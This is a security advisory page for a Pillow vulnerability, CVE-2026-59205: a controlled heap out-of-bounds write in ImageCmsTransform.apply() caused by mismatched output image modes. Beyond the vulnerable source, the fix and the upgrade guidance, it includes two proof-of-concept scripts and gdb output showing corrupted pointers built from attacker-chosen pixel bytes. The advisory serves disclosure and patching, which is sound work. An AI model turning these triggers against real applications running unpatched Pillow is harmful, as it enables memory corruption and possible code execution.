CVE-2026-59205: Pillow: Controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch

Published Jul 14, 2026
·
Updated

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

python def apply(self, im, imOut=None): if imOut is None: imOut = Image.new(self.outputmode, im.size, None) self.transform.apply(im.getim(), imOut.getim()) imOut.info["iccprofile"] = self.outputprofile.tobytes() return imOut

If imOut is provided, Pillow does not check:

text im.mode == self.inputmode imOut.mode == self.outputmode

The C wrapper in src/imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

c static int pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) { if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) { return -1; }

for (i = 0; i < im->ysize; i++) { cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize); }

pyCMScopyAux(hTransform, imOut, im); return 0; }

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPERGBA8, which writes 4 bytes per pixel:

c case IMAGINGMODERGB: case IMAGINGMODERGBA: case IMAGINGMODERGBX: return TYPERGBA8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 width bytes for that row.

For width 4096:

text destination row allocation: 4096 bytes LittleCMS write size: 16384 bytes overflow: ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

python from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (8, 1), 0)

print("before", flush=True) transform.apply(im, out) print("after")

Observed locally on Pillow 12.3.0.dev0:

text before after free(): invalid next size (normal) Aborted (core dumped)

Controlled overwrite evidence PoC:

python from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB") transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44)) out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

bash gdb -q --batch -ex run -ex bt --args \ python3 b022controlled.py

Observed on Pillow 12.3.0.dev0:

text Program received signal SIGSEGV, Segmentation fault. pthreadmutexlock (mutex=mutex@entry=0x4443424144434241) #1 cmsLockPrimitive (m=0x4443424144434241) #2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241) #3 cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241) #4 cmsSaveProfileToIOhandler(...) #5 cmsSaveProfileToMem(...) #6 cmsprofiletobytes (...) at src/imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds.

Suggested fix

Validate modes before calling into the native transform:

python def apply(self, im, imOut=None): if im.mode != self.inputmode: raise ValueError("input mode mismatch") if imOut is None: imOut = Image.new(self.outputmode, im.size, None) elif imOut.mode != self.outputmode: raise ValueError("output mode mismatch") self.transform.apply(im.getim(), imOut.getim()) imOut.info["iccprofile"] = self.outputprofile.tobytes() return imOut

The C extension should also defensively reject mismatched image modes before calling cmsDoTransform().

Other sources

Pillow is a Python imaging library. Prior to 12.3.0, Pillow's ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. This issue is fixed in version 12.3.0.

NVD

Affected Software

3 affected componentsFixes available
Pillow Pillow<12.3.0
Python Pillow<12.3.0
pip/pillow<12.3.0
12.3.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/pillow to a version that resolves this vulnerability.

    Fixed in 12.3.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 12.3.0
  3. Configuration

    In ImageCmsTransform.apply(im, imOut=None), before invoking the native transform (cmsDoTransform), defensively check that im.mode == self.input_mode and (if imOut is provided) imOut.mode == self.output_mode; otherwise raise ValueError("input mode mismatch") / ValueError("output mode mismatch").

    Pillow ImageCmsTransform.apply (C wrapper in src/_imagingcms.c / Python wrapper in PIL/ImageCms.py) reject output image mode mismatch before calling into native cmsDoTransform = Validate that imOut.mode matches the transform's declared output mode (self.output_mode) and that input mode matches self.input_mode; raise ValueError on mismatch
  4. Compensating control

    As an application-side mitigation when using Pillow's ImageCmsTransform.apply, ensure the output image object passed as imOut has the same image mode as the transform's declared output mode (and matching dimensions), to avoid triggering the native heap corruption described for mode mismatches.

Event History

Jul 14, 2026
CVE Published
via MITRE·03:48 PM
Data Sourced
via MITRE·03:48 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:17 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 20, 2026
Advisory Published
via GitHub·11:19 PM
Data Sourced
via GitHub·11:19 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-59205?

CVE-2026-59205 has a severity rating of high at 7.5.

2

How do I fix CVE-2026-59205?

To mitigate CVE-2026-59205, update to Pillow version 12.3.0 or later.

3

What does CVE-2026-59205 affect?

CVE-2026-59205 affects the Pillow Python imaging library, specifically the ImageCms.ImageCmsTransform.apply() function.

4

What type of vulnerability is CVE-2026-59205?

CVE-2026-59205 is a controlled heap out-of-bounds write vulnerability.

5

What causes the CVE-2026-59205 vulnerability?

CVE-2026-59205 occurs when an output image's mode does not match the expected output mode during image transformations.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203